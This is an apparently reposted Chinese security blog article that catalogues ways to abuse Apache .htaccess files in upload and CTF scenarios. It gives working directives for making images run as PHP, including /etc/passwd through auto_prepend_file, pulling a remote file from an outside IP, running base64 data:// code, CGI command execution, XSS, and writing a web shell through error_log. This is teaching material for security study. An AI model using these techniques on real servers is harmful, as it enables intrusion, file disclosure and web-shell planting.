首发于先知社区:https://xz.aliyun.com/t/8267
对 htaccess 文件的常见利用方式进行一次总结
0x1简介
0x1.1基本概念
.htaccess
文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一条或多条指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache
的 AllowOverride
指令来设置。.htaccess
中有 #
单行注释符, 且支持 \
拼接上下两行。
0x1.2作用范围
.htaccess
文件中的配置指令作用于 .htaccess
文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有 .htaccess
文件,而指令是按查找顺序依次生效的,所以一个特定目录下的 .htaccess
文件中的指令可能会覆盖其上级目录中的 .htaccess
文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。
0x1.3配置文件
启动 .htaccess
,需要在服务器的主配置文件将 AllowOverride
设置为 All
,如 apache2.conf
1 |
AllowOverride All #启动.htaccess文件的使用 |
也可以将 .htaccess
修改为其他名
1 |
AccessFileName .config #将.htaccess修改为.config |
0x2常见指令
.htaccess
可以实现网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。如需了解详细功能可看这篇文章 http://www.htaccess-guide.com/ , 这里就不一一介绍,主要讲解几种常利用的指令。
0x2.1SetHandler
SetHandler
可以强制所有匹配的文件被一个指定的处理器处理
用法:
1 |
SetHandler handler-name|None |
示例1:
1 |
SetHandler application/x-httpd-php |
此时当前目录及其子目录下所有文件都会被当做 php
解析
示例2:
1 |
SetHandler server-status |
apache的服务器状态信息(默认关闭),可以查看所有访问本站的记录
访问任意不存在的文件,加参数 ?refresh=5
来实现每隔 5s 自动刷新
0x2.2 AddHandler
AddHandler
可以在文件扩展名与特定的处理器之间建立映射
用法:
1 |
AddHandler handler-name extension [extension] ... |
例如:
1 |
AddHandler cgi-script .xxx |
将扩展名为 .xxx
的文件作为 CGI
脚本来处理
0x2.3AddType
AddType
可以将给定的文件扩展名映射到指定的内容类型
用法:
1 |
AddType media-type extension [extension] ... |
示例:
1 |
AddType application/x-httpd-php .gif |
将以 gif
为后缀的文件当做 php
解析
1 |
AddType application/x-httpd-php png jpg gif |
将以 .png .jpg .gif
多个后缀当做 php
解析
0x2.4php_value
当使用 PHP
作为 Apache
模块时,也可以用 Apache
的配置文件(例如 httpd.conf
)和 .htaccess
文件中的指令来修改 php
的配置设定。需要有AllowOverride Options
或AllowOverride All
权限才可以。
php_value
设定指定的值。要清除先前设定的值,把 value
设为 none
。不要用 php_value
设定布尔值。应该用 php_flag
。
用法:
1 |
php_value name value |
查看配置可被设定范围
由上可知 .htaccess
只能用于 PHP_INI_ALL
或 PHP_INI_PERDIR
类型的指令。
查看php.ini 配置选项列表,寻找可利用指令
(1) 文件包含配置选项
- auto_prepend_file:在主文件解析之前自动解析包含的文件
- auto_append_file:在主文件解析后自动解析包含的文件
例如:
1 |
php_value auto_prepend_file images.png |
访问一个 php
文件时,在该文件解析之前会先自动解析 images.png 文件
(2) 绕过preg_match
例如:
1 |
php_value pcre.backtrack_limit 0 |
设置正则回朔次数来使正则匹配的结果返回为 false 而不是0 ,从而可以绕过正则。
0x2.5php_flag
php_flag
用来设定布尔值的 php
配置指令
用法:
1 |
php_flag name on|off |
查看php.ini 配置选项列表,寻找可利用指令
可以将 engine
设置为 0,在本目录和子目录中关闭 php
解析,造成源码泄露
1 |
php_flag engine 0 |
0x3利用方式
0x3.1文件解析
经常出现在文件上传的黑名单没有限制 .htaceess
后缀,通过上传 .htaccess
文件,再上传图片,使图片的 php
恶意代码得以被解析执行
.htaccess
文件内容有如下两种
1.SetHandler
指令
1 |
# 将images.png 当做 PHP 执行 |
2.AddType
1 |
# 将 .jpg 当做 PHP 文件解析 |
0x3.2文件包含
0x3.2.1本地文件包含
通过 php_value
来设置 auto_prepend_file
或者 auto_append_file
配置选项包含一些敏感文件, 同时在本目录或子目录中需要有可解析的 php
文件来触发。
.htaccess
分别通过这两个配置选项来包含 /etc/passwd
,并访问同目录下的 index.php
文件。
auto_prepend_file
1 |
php_value auto_prepend_file /etc/passwd |
auto_append_file
1 |
php_value auto_append_file /etc/passwd |
0x3.2.2远程文件包含
PHP 的 all_url_include
配置选项这个选项默认是关闭的,如果开启的话就可以远程包含。因为 all_url_include
的配置范围为 PHP_INI_SYSTEM
,所以无法利用 php_flag
在 .htaccess
中开启。
这里为了演示,就在 php.ini
中设置 all_url_include
为 On
1 |
php_value auto_append_file http://10.87.9.156/phpinfo.txt |
0x3.3源码泄露
利用 php_flag
将 engine
设置为 0,在本目录和子目录中关闭 php
解析,造成源码泄露
1 |
php_flag engine 0 |
这里在谷歌浏览器访问会显示源码,用其他浏览器访问会显示空白,还需查看源码,才可看到泄露的源码
0x3.4代码执行
1.利用伪协议all_url_fopen
、all_url_include
为 On
1 |
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw== |
2.解析.htaccess
方法一:
1 |
php_value auto_append_file .htaccess |
方法二:
这种适合同目录或子目录没有 php
文件。
需要先设置允许可访问 .htaccess
文件
1 |
<Files ~ "^.ht"> |
将 .htaccess
指定当做 php文件处理
1 |
SetHandler application/x-httpd-php |
0x3.5命令执行
0x3.5.1CGI启动
cgi_module
需要加载,即 apache
配置文件中有
1 |
LoadModule cgi_module modules/mod_cgi.so |
.htaccess内容
1 |
Options ExecCGI #允许CGI执行 |
ce.xx
1 |
#!C:/Windows/System32/cmd.exe /k start calc.exe |
例题可看 De1CTF2020 check in
0x3.5.2FastCGI启动
mod_fcgid.so
需要被加载。即 apache
配置文件中有
1 |
LoadModule fcgid_module modules/mod_fcgid.so |
.htaccess
1 |
Options +ExecCGI |
ce.xx 内容随意
0x3.6XSS
0x3.6.1 highlight_file
.htaccess
1 |
php_value highlight.comment '"><script>alert(1);</script>' |
其中的 highlight.comment
也可以换成如下其他选项
index.php
1 |
<?php |
0x3.6.2错误消息链接
index.php :
1 |
<?php |
.htaccess
1 |
php_flag display_errors 1 |
0x3.7自定义错误文件
error.php
1 |
include('shell');#报错页面 |
.htaccess
1 |
php_value error_log /tmp/www/html/shell.php |
访问 error.php,会报错并记录在 shell.php 文件中
因为会经过 html 编码,所以需要 UTF-7 来绕过。
.htaccess
1 |
# 第一次 |
例题可看X-NUCA-ezphp
0x4参考链接
https://www.anquanke.com/post/id/205098
https://www.cnblogs.com/Wanghaoran-s1mple/p/13152075.html
http://httpd.apache.org/docs/2.4/
https://github.com/sektioneins/pcc/wiki/PHP-htaccess-injection-cheat-sheet
https://www.freebuf.com/vuls/218495.html
FROM :blog.cfyqy.com | Author:cfyqy
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论